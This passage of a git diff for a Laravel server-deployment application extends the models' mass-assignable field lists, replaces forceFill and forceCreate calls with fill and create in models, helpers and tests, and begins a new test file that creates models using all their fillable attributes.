a/app/Models/ApplicationPreview.php b/app/Models/ApplicationPreview.php index 818f96d8e..f08a48cea 100644 --- a/app/Models/ApplicationPreview.php +++ b/app/Models/ApplicationPreview.php @@ -11,6 +11,7 @@ class ApplicationPreview extends BaseModel use SoftDeletes; protected $fillable = [ + 'uuid', 'application_id', 'pull_request_id', 'pull_request_html_url', @@ -62,7 +63,7 @@ protected static function booted() }); static::saving(function ($preview) { if ($preview->isDirty('status')) { - $preview->forceFill(['last_online_at' => now()]); + $preview->last_online_at = now(); } }); } diff --git a/app/Models/ApplicationSetting.php b/app/Models/ApplicationSetting.php index 24b35df7f..731a9b5da 100644 --- a/app/Models/ApplicationSetting.php +++ b/app/Models/ApplicationSetting.php @@ -29,6 +29,7 @@ class ApplicationSetting extends Model ]; protected $fillable = [ + 'application_id', 'is_static', 'is_git_submodules_enabled', 'is_git_lfs_enabled', diff --git a/app/Models/CloudProviderToken.php b/app/Models/CloudProviderToken.php index 123376c9b..026d11fba 100644 --- a/app/Models/CloudProviderToken.php +++ b/app/Models/CloudProviderToken.php @@ -5,6 +5,7 @@ class CloudProviderToken extends BaseModel { protected $fillable = [ + 'team_id', 'provider', 'token', 'name', diff --git a/app/Models/Environment.php b/app/Models/Environment.php index 55ce93265..65ffaf579 100644 --- a/app/Models/Environment.php +++ b/app/Models/Environment.php @@ -28,6 +28,8 @@ class Environment extends BaseModel protected $fillable = [ 'name', 'description', + 'project_id', + 'uuid', ]; protected static function booted() diff --git a/app/Models/GithubApp.php b/app/Models/GithubApp.php index 3cffeb8f8..54bbb3f7d 100644 --- a/app/Models/GithubApp.php +++ b/app/Models/GithubApp.php @@ -7,6 +7,8 @@ class GithubApp extends BaseModel { protected $fillable = [ + 'team_id', + 'private_key_id', 'name', 'organization', 'api_url', diff --git a/app/Models/Project.php b/app/Models/Project.php index ff2cae041..15628892e 100644 --- a/app/Models/Project.php +++ b/app/Models/Project.php @@ -27,6 +27,8 @@ class Project extends BaseModel protected $fillable = [ 'name', 'description', + 'team_id', + 'uuid', ]; /** @@ -51,10 +53,10 @@ public static function ownedByCurrentTeamCached() protected static function booted() { static::created(function ($project) { - ProjectSetting::forceCreate([ + ProjectSetting::create([ 'project_id' => $project->id, ]); - Environment::forceCreate([ + Environment::create([ 'name' => 'production', 'project_id' => $project->id, 'uuid' => (string) new Cuid2, diff --git a/app/Models/ProjectSetting.php b/app/Models/ProjectSetting.php index 7ea17ba7a..8b59ffac6 100644 --- a/app/Models/ProjectSetting.php +++ b/app/Models/ProjectSetting.php @@ -6,7 +6,9 @@ class ProjectSetting extends Model { - protected $fillable = []; + protected $fillable = [ + 'project_id', + ]; public function project() { diff --git a/app/Models/ScheduledDatabaseBackup.php b/app/Models/ScheduledDatabaseBackup.php index c6aed863d..6308bae8b 100644 --- a/app/Models/ScheduledDatabaseBackup.php +++ b/app/Models/ScheduledDatabaseBackup.php @@ -9,6 +9,8 @@ class ScheduledDatabaseBackup extends BaseModel { protected $fillable = [ + 'uuid', + 'team_id', 'description', 'enabled', 'save_s3', diff --git a/app/Models/ScheduledDatabaseBackupExecution.php b/app/Models/ScheduledDatabaseBackupExecution.php index f1f6e88b5..51ad46de9 100644 --- a/app/Models/ScheduledDatabaseBackupExecution.php +++ b/app/Models/ScheduledDatabaseBackupExecution.php @@ -7,6 +7,8 @@ class ScheduledDatabaseBackupExecution extends BaseModel { protected $fillable = [ + 'uuid', + 'scheduled_database_backup_id', 'status', 'message', 'size', diff --git a/app/Models/ScheduledTask.php b/app/Models/ScheduledTask.php index e76f1b7b9..40f8e1860 100644 --- a/app/Models/ScheduledTask.php +++ b/app/Models/ScheduledTask.php @@ -30,12 +30,16 @@ class ScheduledTask extends BaseModel use HasSafeStringAttribute; protected $fillable = [ + 'uuid', 'enabled', 'name', 'command', 'frequency', 'container', 'timeout', + 'team_id', + 'application_id', + 'service_id', ]; public static function ownedByCurrentTeamAPI(int $teamId) diff --git a/app/Models/ScheduledTaskExecution.php b/app/Models/ScheduledTaskExecution.php index dd74ba2e0..1e26c7be3 100644 --- a/app/Models/ScheduledTaskExecution.php +++ b/app/Models/ScheduledTaskExecution.php @@ -23,6 +23,7 @@ class ScheduledTaskExecution extends BaseModel { protected $fillable = [ + 'scheduled_task_id', 'status', 'message', 'finished_at', diff --git a/app/Models/Server.php b/app/Models/Server.php index 427896a19..a18fe14ae 100644 --- a/app/Models/Server.php +++ b/app/Models/Server.php @@ -135,7 +135,7 @@ protected static function booted() $payload['ip_previous'] = $server->getOriginal('ip'); } } - $server->forceFill($payload); + $server->fill($payload); }); static::saved(function ($server) { if ($server->wasChanged('private_key_id') || $server->privateKey?->isDirty()) { @@ -265,6 +265,7 @@ public static function flushIdentityMap(): void 'detected_traefik_version', 'traefik_outdated_info', 'server_metadata', + 'ip_previous', ]; use HasSafeStringAttribute; diff --git a/app/Models/ServerSetting.php b/app/Models/ServerSetting.php index d34f2c86b..30fc1e165 100644 --- a/app/Models/ServerSetting.php +++ b/app/Models/ServerSetting.php @@ -54,6 +54,7 @@ class ServerSetting extends Model { protected $fillable = [ + 'server_id', 'is_swarm_manager', 'is_jump_server', 'is_build_server', diff --git a/app/Models/Service.php b/app/Models/Service.php index 491924c49..11189b4ac 100644 --- a/app/Models/Service.php +++ b/app/Models/Service.php @@ -49,6 +49,7 @@ class Service extends BaseModel private static $parserVersion = '5'; protected $fillable = [ + 'uuid', 'name', 'description', 'docker_compose_raw', @@ -58,6 +59,10 @@ class Service extends BaseModel 'config_hash', 'compose_parsing_version', 'is_container_label_escape_enabled', + 'environment_id', + 'server_id', + 'destination_id', + 'destination_type', ]; protected $appends = ['server_status', 'status']; diff --git a/app/Models/ServiceApplication.php b/app/Models/ServiceApplication.php index e608c202d..6bf12f4e7 100644 --- a/app/Models/ServiceApplication.php +++ b/app/Models/ServiceApplication.php @@ -12,6 +12,7 @@ class ServiceApplication extends BaseModel use HasFactory, SoftDeletes; protected $fillable = [ + 'service_id', 'name', 'human_name', 'description', @@ -39,7 +40,7 @@ protected static function booted() }); static::saving(function ($service) { if ($service->isDirty('status')) { - $service->forceFill(['last_online_at' => now()]); + $service->last_online_at = now(); } }); } diff --git a/app/Models/ServiceDatabase.php b/app/Models/ServiceDatabase.php index e5b28d929..69801f985 100644 --- a/app/Models/ServiceDatabase.php +++ b/app/Models/ServiceDatabase.php @@ -10,6 +10,7 @@ class ServiceDatabase extends BaseModel use HasFactory, SoftDeletes; protected $fillable = [ + 'service_id', 'name', 'human_name', 'description', @@ -44,7 +45,7 @@ protected static function booted() }); static::saving(function ($service) { if ($service->isDirty('status')) { - $service->forceFill(['last_online_at' => now()]); + $service->last_online_at = now(); } }); } diff --git a/app/Models/StandaloneClickhouse.php b/app/Models/StandaloneClickhouse.php index c6d91dd55..784e2c937 100644 --- a/app/Models/StandaloneClickhouse.php +++ b/app/Models/StandaloneClickhouse.php @@ -14,6 +14,7 @@ class StandaloneClickhouse extends BaseModel use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ + 'uuid', 'name', 'description', 'clickhouse_admin_user', @@ -40,6 +41,9 @@ class StandaloneClickhouse extends BaseModel 'public_port_timeout', 'custom_docker_run_options', 'clickhouse_db', + 'destination_type', + 'destination_id', + 'environment_id', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; @@ -71,7 +75,7 @@ protected static function booted() }); static::saving(function ($database) { if ($database->isDirty('status')) { - $database->forceFill(['last_online_at' => now()]); + $database->last_online_at = now(); } }); } diff --git a/app/Models/StandaloneDocker.php b/app/Models/StandaloneDocker.php index 09dae022b..dcb349405 100644 --- a/app/Models/StandaloneDocker.php +++ b/app/Models/StandaloneDocker.php @@ -13,6 +13,7 @@ class StandaloneDocker extends BaseModel use HasSafeStringAttribute; protected $fillable = [ + 'server_id', 'name', 'network', ]; diff --git a/app/Models/StandaloneDragonfly.php b/app/Models/StandaloneDragonfly.php index af309f980..e07053c03 100644 --- a/app/Models/StandaloneDragonfly.php +++ b/app/Models/StandaloneDragonfly.php @@ -14,6 +14,7 @@ class StandaloneDragonfly extends BaseModel use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ + 'uuid', 'name', 'description', 'dragonfly_password', @@ -39,6 +40,9 @@ class StandaloneDragonfly extends BaseModel 'public_port_timeout', 'enable_ssl', 'custom_docker_run_options', + 'destination_type', + 'destination_id', + 'environment_id', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; @@ -70,7 +74,7 @@ protected static function booted() }); static::saving(function ($database) { if ($database->isDirty('status')) { - $database->forceFill(['last_online_at' => now()]); + $database->last_online_at = now(); } }); } diff --git a/app/Models/StandaloneKeydb.php b/app/Models/StandaloneKeydb.php index ee07b4783..979f45a3d 100644 --- a/app/Models/StandaloneKeydb.php +++ b/app/Models/StandaloneKeydb.php @@ -14,6 +14,7 @@ class StandaloneKeydb extends BaseModel use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ + 'uuid', 'name', 'description', 'keydb_password', @@ -40,6 +41,9 @@ class StandaloneKeydb extends BaseModel 'public_port_timeout', 'enable_ssl', 'custom_docker_run_options', + 'destination_type', + 'destination_id', + 'environment_id', ]; protected $appends = ['internal_db_url', 'external_db_url', 'server_status']; @@ -71,7 +75,7 @@ protected static function booted() }); static::saving(function ($database) { if ($database->isDirty('status')) { - $database->forceFill(['last_online_at' => now()]); + $database->last_online_at = now(); } }); } diff --git a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php index ad5220496..dba8a52f5 100644 --- a/app/Models/StandaloneMariadb.php +++ b/app/Models/StandaloneMariadb.php @@ -15,6 +15,7 @@ class StandaloneMariadb extends BaseModel use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ + 'uuid', 'name', 'description', 'mariadb_root_password', @@ -43,6 +44,9 @@ class StandaloneMariadb extends BaseModel 'enable_ssl', 'is_log_drain_enabled', 'custom_docker_run_options', + 'destination_type', + 'destination_id', + 'environment_id', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; @@ -74,7 +78,7 @@ protected static function booted() }); static::saving(function ($database) { if ($database->isDirty('status')) { - $database->forceFill(['last_online_at' => now()]); + $database->last_online_at = now(); } }); } diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php index 590c173e1..e72f4f1c6 100644 --- a/app/Models/StandaloneMongodb.php +++ b/app/Models/StandaloneMongodb.php @@ -14,6 +14,7 @@ class StandaloneMongodb extends BaseModel use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ + 'uuid', 'name', 'description', 'mongo_conf', @@ -43,6 +44,9 @@ class StandaloneMongodb extends BaseModel 'is_log_drain_enabled', 'is_include_timestamps', 'custom_docker_run_options', + 'destination_type', + 'destination_id', + 'environment_id', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; @@ -80,7 +84,7 @@ protected static function booted() }); static::saving(function ($database) { if ($database->isDirty('status')) { - $database->forceFill(['last_online_at' => now()]); + $database->last_online_at = now(); } }); } diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php index d991617b7..1c522d200 100644 --- a/app/Models/StandaloneMysql.php +++ b/app/Models/StandaloneMysql.php @@ -14,6 +14,7 @@ class StandaloneMysql extends BaseModel use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ + 'uuid', 'name', 'description', 'mysql_root_password', @@ -44,6 +45,9 @@ class StandaloneMysql extends BaseModel 'is_log_drain_enabled', 'is_include_timestamps', 'custom_docker_run_options', + 'destination_type', + 'destination_id', + 'environment_id', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; @@ -76,7 +80,7 @@ protected static function booted() }); static::saving(function ($database) { if ($database->isDirty('status')) { - $database->forceFill(['last_online_at' => now()]); + $database->last_online_at = now(); } }); } diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php index 71034427f..57dfe5988 100644 --- a/app/Models/StandalonePostgresql.php +++ b/app/Models/StandalonePostgresql.php @@ -14,6 +14,7 @@ class StandalonePostgresql extends BaseModel use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ + 'uuid', 'name', 'description', 'postgres_user', @@ -46,6 +47,9 @@ class StandalonePostgresql extends BaseModel 'is_log_drain_enabled', 'is_include_timestamps', 'custom_docker_run_options', + 'destination_type', + 'destination_id', + 'environment_id', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; @@ -92,7 +96,7 @@ protected static function booted() }); static::saving(function ($database) { if ($database->isDirty('status')) { - $database->forceFill(['last_online_at' => now()]); + $database->last_online_at = now(); } }); } diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index 4eb28e038..ef42d7f18 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -14,6 +14,7 @@ class StandaloneRedis extends BaseModel use ClearsGlobalSearchCache, HasFactory, HasMetrics, HasSafeStringAttribute, SoftDeletes; protected $fillable = [ + 'uuid', 'name', 'description', 'redis_conf', @@ -39,6 +40,9 @@ class StandaloneRedis extends BaseModel 'is_log_drain_enabled', 'is_include_timestamps', 'custom_docker_run_options', + 'destination_type', + 'destination_id', + 'environment_id', ]; protected $appends = ['internal_db_url', 'external_db_url', 'database_type', 'server_status']; @@ -69,7 +73,7 @@ protected static function booted() }); static::saving(function ($database) { if ($database->isDirty('status')) { - $database->forceFill(['last_online_at' => now()]); + $database->last_online_at = now(); } }); diff --git a/app/Models/Subscription.php b/app/Models/Subscription.php index fa135b29f..b0fec64f9 100644 --- a/app/Models/Subscription.php +++ b/app/Models/Subscription.php @@ -7,6 +7,7 @@ class Subscription extends Model { protected $fillable = [ + 'team_id', 'stripe_invoice_paid', 'stripe_subscription_id', 'stripe_customer_id', diff --git a/app/Models/SwarmDocker.php b/app/Models/SwarmDocker.php index 656749119..134e36189 100644 --- a/app/Models/SwarmDocker.php +++ b/app/Models/SwarmDocker.php @@ -7,6 +7,7 @@ class SwarmDocker extends BaseModel { protected $fillable = [ + 'server_id', 'name', 'network', ]; diff --git a/app/Models/Tag.php b/app/Models/Tag.php index 9ee58cf7d..e6fbd3a06 100644 --- a/app/Models/Tag.php +++ b/app/Models/Tag.php @@ -10,6 +10,7 @@ class Tag extends BaseModel protected $fillable = [ 'name', + 'team_id', ]; protected function customizeName($value) diff --git a/app/Models/User.php b/app/Models/User.php index ad9a7af31..aa33a49fb 100644 --- a/app/Models/User.php +++ b/app/Models/User.php @@ -49,6 +49,9 @@ class User extends Authenticatable implements SendsEmail 'password', 'force_password_reset', 'marketing_emails', + 'pending_email', + 'email_change_code', + 'email_change_code_expires_at', ]; protected $hidden = [ @@ -409,7 +412,7 @@ public function requestEmailChange(string $newEmail): void $expiryMinutes = config('constants.email_change.verification_code_expiry_minutes', 10); $expiresAt = Carbon::now()->addMinutes($expiryMinutes); - $this->forceFill([ + $this->fill([ 'pending_email' => $newEmail, 'email_change_code' => $code, 'email_change_code_expires_at' => $expiresAt, diff --git a/bootstrap/helpers/applications.php b/bootstrap/helpers/applications.php index e4feec692..48e0a8c78 100644 --- a/bootstrap/helpers/applications.php +++ b/bootstrap/helpers/applications.php @@ -214,7 +214,7 @@ function clone_application(Application $source, $destination, array $overrides = 'updated_at', 'additional_servers_count', 'additional_networks_count', - ])->forceFill(array_merge([ + ])->fill(array_merge([ 'uuid' => $uuid, 'name' => $name, 'fqdn' => $url, @@ -237,7 +237,7 @@ function clone_application(Application $source, $destination, array $overrides = 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'application_id' => $newApplication->id, ]); $newApplicationSettings->save(); @@ -257,7 +257,7 @@ function clone_application(Application $source, $destination, array $overrides = 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'uuid' => (string) new Cuid2, 'application_id' => $newApplication->id, 'team_id' => currentTeam()->id, @@ -272,7 +272,7 @@ function clone_application(Application $source, $destination, array $overrides = 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'uuid' => (string) new Cuid2, 'application_id' => $newApplication->id, 'status' => 'exited', @@ -304,7 +304,7 @@ function clone_application(Application $source, $destination, array $overrides = 'created_at', 'updated_at', 'uuid', - ])->forceFill([ + ])->fill([ 'name' => $newName, 'resource_id' => $newApplication->id, ]); @@ -340,7 +340,7 @@ function clone_application(Application $source, $destination, array $overrides = 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'resource_id' => $newApplication->id, ]); $newStorage->save(); @@ -354,7 +354,7 @@ function clone_application(Application $source, $destination, array $overrides = 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'resourceable_id' => $newApplication->id, 'resourceable_type' => $newApplication->getMorphClass(), 'is_preview' => false, @@ -371,7 +371,7 @@ function clone_application(Application $source, $destination, array $overrides = 'id', 'created_at', 'updated_at', - ])->forceFill([ + ])->fill([ 'resourceable_id' => $newApplication->id, 'resourceable_type' => $newApplication->getMorphClass(), 'is_preview' => true, diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php index 751851283..123cf906a 100644 --- a/bootstrap/helpers/parsers.php +++ b/bootstrap/helpers/parsers.php @@ -1597,7 +1597,7 @@ function serviceParser(Service $resource): Collection if ($databaseFound) { $savedService = $databaseFound; } else { - $savedService = ServiceDatabase::forceCreate([ + $savedService = ServiceDatabase::create([ 'name' => $serviceName, 'service_id' => $resource->id, ]); @@ -1607,7 +1607,7 @@ function serviceParser(Service $resource): Collection if ($applicationFound) { $savedService = $applicationFound; } else { - $savedService = ServiceApplication::forceCreate([ + $savedService = ServiceApplication::create([ 'name' => $serviceName, 'service_id' => $resource->id, ]); diff --git a/bootstrap/helpers/shared.php b/bootstrap/helpers/shared.php index a43f2e340..cd773f6a9 100644 --- a/bootstrap/helpers/shared.php +++ b/bootstrap/helpers/shared.php @@ -1919,7 +1919,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal // Create new serviceApplication or serviceDatabase if ($isDatabase) { if ($isNew) { - $savedService = ServiceDatabase::forceCreate([ + $savedService = ServiceDatabase::create([ 'name' => $serviceName, 'image' => $image, 'service_id' => $resource->id, @@ -1930,7 +1930,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'service_id' => $resource->id, ])->first(); if (is_null($savedService)) { - $savedService = ServiceDatabase::forceCreate([ + $savedService = ServiceDatabase::create([ 'name' => $serviceName, 'image' => $image, 'service_id' => $resource->id, @@ -1939,7 +1939,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal } } else { if ($isNew) { - $savedService = ServiceApplication::forceCreate([ + $savedService = ServiceApplication::create([ 'name' => $serviceName, 'image' => $image, 'service_id' => $resource->id, @@ -1950,7 +1950,7 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal 'service_id' => $resource->id, ])->first(); if (is_null($savedService)) { - $savedService = ServiceApplication::forceCreate([ + $savedService = ServiceApplication::create([ 'name' => $serviceName, 'image' => $image, 'service_id' => $resource->id, diff --git a/tests/Feature/ApplicationHealthCheckApiTest.php b/tests/Feature/ApplicationHealthCheckApiTest.php index 7f1b985ad..3e4078051 100644 --- a/tests/Feature/ApplicationHealthCheckApiTest.php +++ b/tests/Feature/ApplicationHealthCheckApiTest.php @@ -31,7 +31,7 @@ ); }); - $this->project = Project::forceCreate([ + $this->project = Project::create([ 'uuid' => (string) new Cuid2, 'name' => 'test-project', 'team_id' => $this->team->id, diff --git a/tests/Feature/ApplicationRollbackTest.php b/tests/Feature/ApplicationRollbackTest.php index 61b3505ae..432bdde1b 100644 --- a/tests/Feature/ApplicationRollbackTest.php +++ b/tests/Feature/ApplicationRollbackTest.php @@ -6,7 +6,7 @@ describe('Application Rollback', function () { beforeEach(function () { $this->application = new Application; - $this->application->forceFill([ + $this->application->fill([ 'uuid' => 'test-app-uuid', 'git_commit_sha' => 'HEAD', ]); diff --git a/tests/Feature/ClonePersistentVolumeUuidTest.php b/tests/Feature/ClonePersistentVolumeUuidTest.php index 3f99c5585..13f7a1396 100644 --- a/tests/Feature/ClonePersistentVolumeUuidTest.php +++ b/tests/Feature/ClonePersistentVolumeUuidTest.php @@ -31,7 +31,7 @@ 'redirect' => 'both', ]); - $this->application->settings->forceFill([ + $this->application->settings->fill([ 'is_container_label_readonly_enabled' => false, ])->save(); @@ -92,7 +92,7 @@ }); test('cloning application reassigns settings to the cloned application', function () { - $this->application->settings->forceFill([ + $this->application->settings->fill([ 'is_static' => true, 'is_spa' => true, 'is_build_server_enabled' => true, @@ -118,7 +118,7 @@ }); test('cloning application reassigns scheduled tasks and previews to the cloned application', function () { - $scheduledTask = ScheduledTask::forceCreate([ + $scheduledTask = ScheduledTask::create([ 'uuid' => 'scheduled-task-original', 'application_id' => $this->application->id, 'team_id' => $this->team->id, @@ -129,7 +129,7 @@ 'timeout' => 120, ]); - $preview = ApplicationPreview::forceCreate([ + $preview = ApplicationPreview::create([ 'uuid' => 'preview-original', 'application_id' => $this->application->id, 'pull_request_id' => 123, diff --git a/tests/Feature/ComposePreviewFqdnTest.php b/tests/Feature/ComposePreviewFqdnTest.php index 62fc0f2d8..a5b8b2c9f 100644 --- a/tests/Feature/ComposePreviewFqdnTest.php +++ b/tests/Feature/ComposePreviewFqdnTest.php @@ -14,7 +14,7 @@ ]), ]); - $preview = ApplicationPreview::forceCreate([ + $preview = ApplicationPreview::create([ 'application_id' => $application->id, 'pull_request_id' => 42, 'pull_request_html_url' => 'https://github.com/example/repo/pull/42', @@ -39,7 +39,7 @@ ]), ]); - $preview = ApplicationPreview::forceCreate([ + $preview = ApplicationPreview::create([ 'application_id' => $application->id, 'pull_request_id' => 7, 'pull_request_html_url' => 'https://github.com/example/repo/pull/7', @@ -65,7 +65,7 @@ ]), ]); - $preview = ApplicationPreview::forceCreate([ + $preview = ApplicationPreview::create([ 'application_id' => $application->id, 'pull_request_id' => 99, 'pull_request_html_url' => 'https://github.com/example/repo/pull/99', diff --git a/tests/Feature/DatabaseEnvironmentVariableApiTest.php b/tests/Feature/DatabaseEnvironmentVariableApiTest.php index 78e80483b..f3297cf17 100644 --- a/tests/Feature/DatabaseEnvironmentVariableApiTest.php +++ b/tests/Feature/DatabaseEnvironmentVariableApiTest.php @@ -33,7 +33,7 @@ function createDatabase($context): StandalonePostgresql { - return StandalonePostgresql::forceCreate([ + return StandalonePostgresql::create([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', diff --git a/tests/Feature/DatabasePublicPortTimeoutApiTest.php b/tests/Feature/DatabasePublicPortTimeoutApiTest.php index 1ffc32a81..6bbc6279f 100644 --- a/tests/Feature/DatabasePublicPortTimeoutApiTest.php +++ b/tests/Feature/DatabasePublicPortTimeoutApiTest.php @@ -33,7 +33,7 @@ describe('PATCH /api/v1/databases', function () { test('updates public_port_timeout on a postgresql database', function () { - $database = StandalonePostgresql::forceCreate([ + $database = StandalonePostgresql::create([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', @@ -57,7 +57,7 @@ }); test('updates public_port_timeout on a redis database', function () { - $database = StandaloneRedis::forceCreate([ + $database = StandaloneRedis::create([ 'name' => 'test-redis', 'image' => 'redis:7', 'redis_password' => 'password', @@ -79,7 +79,7 @@ }); test('rejects invalid public_port_timeout value', function () { - $database = StandalonePostgresql::forceCreate([ + $database = StandalonePostgresql::create([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', @@ -101,7 +101,7 @@ }); test('accepts null public_port_timeout', function () { - $database = StandalonePostgresql::forceCreate([ + $database = StandalonePostgresql::create([ 'name' => 'test-postgres', 'image' => 'postgres:15-alpine', 'postgres_user' => 'postgres', diff --git a/tests/Feature/DatabaseSslStatusRefreshTest.php b/tests/Feature/DatabaseSslStatusRefreshTest.php index eab2b08db..e62ef48ad 100644 --- a/tests/Feature/DatabaseSslStatusRefreshTest.php +++ b/tests/Feature/DatabaseSslStatusRefreshTest.php @@ -52,7 +52,7 @@ $project = Project::factory()->create(['team_id' => $this->team->id]); $environment = Environment::factory()->create(['project_id' => $project->id]); - $database = StandaloneMysql::forceCreate([ + $database = StandaloneMysql::create([ 'name' => 'test-mysql', 'image' => 'mysql:8', 'mysql_root_password' => 'password', @@ -70,7 +70,7 @@ $component = Livewire::test(MysqlGeneral::class, ['database' => $database]) ->assertDontSee('Database should be stopped to change this settings.'); - $database->forceFill(['status' => 'running:healthy'])->save(); + $database->fill(['status' => 'running:healthy'])->save(); $component->call('refresh') ->assertSee('Database should be stopped to change this settings.'); diff --git a/tests/Feature/GetLogsCommandInjectionTest.php b/tests/Feature/GetLogsCommandInjectionTest.php index 3e5a33b66..c0b17c3bd 100644 --- a/tests/Feature/GetLogsCommandInjectionTest.php +++ b/tests/Feature/GetLogsCommandInjectionTest.php @@ -69,7 +69,7 @@ describe('GetLogs Livewire action validation', function () { test('getLogs rejects invalid container name', function () { // Make server functional by setting settings directly - $this->server->settings->forceFill([ + $this->server->settings->fill([ 'is_reachable' => true, 'is_usable' => true, 'force_disabled' => false, @@ -100,7 +100,7 @@ }); test('downloadAllLogs returns empty for invalid container name', function () { - $this->server->settings->forceFill([ + $this->server->settings->fill([ 'is_reachable' => true, 'is_usable' => true, 'force_disabled' => false, diff --git a/tests/Feature/GithubPrivateRepositoryTest.php b/tests/Feature/GithubPrivateRepositoryTest.php index abc288519..ba66a10bb 100644 --- a/tests/Feature/GithubPrivateRepositoryTest.php +++ b/tests/Feature/GithubPrivateRepositoryTest.php @@ -31,7 +31,7 @@ 'team_id' => $this->team->id, ]); - $this->githubApp = GithubApp::forceCreate([ + $this->githubApp = GithubApp::create([ 'name' => 'Test GitHub App', 'api_url' => 'https://api.github.com', 'html_url' => 'https://github.com', diff --git a/tests/Feature/InternalModelCreationMassAssignmentTest.php b/tests/Feature/InternalModelCreationMassAssignmentTest.php index fc581bf5c..5aad7f3e0 100644 --- a/tests/Feature/InternalModelCreationMassAssignmentTest.php +++ b/tests/Feature/InternalModelCreationMassAssignmentTest.php @@ -24,7 +24,7 @@ ]); $destination = $server->standaloneDockers()->firstOrFail(); - $application = Application::forceCreate([ + $application = Application::create([ 'name' => 'internal-app', 'git_repository' => 'https://github.com/coollabsio/coolify', 'git_branch' => 'main', @@ -57,7 +57,7 @@ ]); $destination = $server->standaloneDockers()->firstOrFail(); - $service = Service::forceCreate([ + $service = Service::create([ 'docker_compose_raw' => 'services: {}', 'environment_id' => $environment->id, 'server_id' => $server->id, diff --git a/tests/Feature/ModelFillableCreationTest.php b/tests/Feature/ModelFillableCreationTest.php new file mode 100644 index 000000000..b72e7381e --- /dev/null +++ b/tests/Feature/ModelFillableCreationTest.php @@ -0,0 +1,1114 @@ +team = Team::factory()->create(); + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + $this->destination = $this->server->standaloneDockers()->firstOrFail(); + $this->project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); +}); + +it('creates User with all fillable attributes', function () { + $user = User::create([ + 'name' => 'Test User', + 'email' => 'fillable-test@example.com', + 'password' => bcrypt('password123'), + 'force_password_reset' => true, + 'marketing_emails' => false, + 'pending_email' => 'newemail@example.com', + 'email_change_code' => 'ABC123', + 'email_change_code_expires_at' => now()->addHour(), + ]); + + expect($user->exists)->toBeTrue(); + expect($user->name)->toBe('Test User'); + expect($user->email)->toBe('fillable-test@example.com'); + expect($user->force_password_reset)->toBeTrue(); + expect($user->marketing_emails)->toBeFalse(); + expect($user->pending_email)->toBe('newemail@example.com'); + expect($user->email_change_code)->toBe('ABC123'); + expect($user->email_change_code_expires_at)->not->toBeNull(); +}); + +it('creates Server with all fillable attributes', function () { + $cloudToken = CloudProviderToken::create([ + 'team_id' => $this->team->id, + 'provider' => 'hetzner', + 'token' => 'test-token', + 'name' => 'test-cloud', + ]); + + $server = Server::create([ + 'name' => 'fillable-test-server', + 'ip' => '10.0.0.99', + 'port' => 2222, + 'user' => 'deployer', + 'description' => 'A test server with all fillable attrs', + 'private_key_id' => $this->server->private_key_id, + 'cloud_provider_token_id' => $cloudToken->id, + 'team_id' => $this->team->id, + 'hetzner_server_id' => 'htz-12345', + 'hetzner_server_status' => 'running', + 'is_validating' => false, + 'detected_traefik_version' => 'v2.10.0', + 'traefik_outdated_info' => 'Up to date', + 'server_metadata' => '{"region":"eu-central"}', + 'ip_previous' => '10.0.0.1', + ]); + + expect($server->exists)->toBeTrue(); + expect((string) $server->name)->toBe('fillable-test-server'); + expect((string) $server->ip)->toBe('10.0.0.99'); + expect($server->port)->toBe(2222); + expect((string) $server->user)->toBe('deployer'); + expect((string) $server->description)->toBe('A test server with all fillable attrs'); + expect($server->private_key_id)->toBe($this->server->private_key_id); + expect($server->cloud_provider_token_id)->toBe($cloudToken->id); + expect($server->hetzner_server_id)->toBe('htz-12345'); + expect($server->hetzner_server_status)->toBe('running'); + expect($server->ip_previous)->toBe('10.0.0.1'); +}); + +it('creates Project with all fillable attributes', function () { + $project = Project::create([ + 'name' => 'Fillable Test Project', + 'description' => 'Testing all fillable attrs', + 'team_id' => $this->team->id, + 'uuid' => 'custom-project-uuid', + ]); + + expect($project->exists)->toBeTrue(); + expect($project->name)->toBe('Fillable Test Project'); + expect($project->description)->toBe('Testing all fillable attrs'); + 